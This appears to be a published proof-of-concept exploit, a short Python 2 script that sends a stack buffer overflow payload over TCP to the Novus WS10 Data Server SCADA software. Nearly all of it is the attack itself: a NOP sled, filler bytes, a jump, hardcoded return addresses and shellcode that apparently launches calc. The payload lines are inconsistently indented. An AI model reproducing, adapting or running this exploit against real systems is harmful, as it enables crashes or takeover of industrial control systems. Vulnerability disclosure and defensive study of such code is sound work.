## Exploit Title: WS10 Data Server SCADA Exploit Overflow PoC
## Date: 09/23/2014
## Author: Pedro Sánchez
## Version: 1.83 (English)
## Tested on: Windows 7 embedded. 

## Notified the vendor, vendor never responded.
## In the new version this PoC stops working
 
## Vendor: Novus 
## http://www.novus.com.br
 
## NOVUS Electronics is a manufacturer of instruments for control, data acquisition and supervisory systems, mainly for factory automation 
 
import os
import socket
import sys

## The process listens on TCP port 2001

host = sys.argv[1]
port = int(sys.argv[2])
 
print " PoC WS10 Data Server SCADA Exploit "
print " Pedro Sanchez "
 
shellcode = ("\x33\xC0\x50\x68\x63\x61\x6C\x63\x54\x5B\x50\x53\xB9\x44\x80\xc2\x77\xFF\xD1\x90\x90") 
 
## Exploit contructor

	ws10 = ("\x90" * 1024 + "\x44" * 31788) 
	ws10 += ("\xeb\x14") 
	ws10 += ("\x44" * 6) 
	ws10 += ("\xad\xbb\xc3\x77") 
	ws10 += ("\xb4\x73\xed\x77")  
	ws10 += ("\x90" * 21) 
	ws10 += shellcode

 
print "  [+] Sending payload..."
 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.connect((host,port)) 
s.send(ws10)  
data = s.recv(1024)
 
print "  [+] Closing..."
s.close()  
print "  [+] Done!"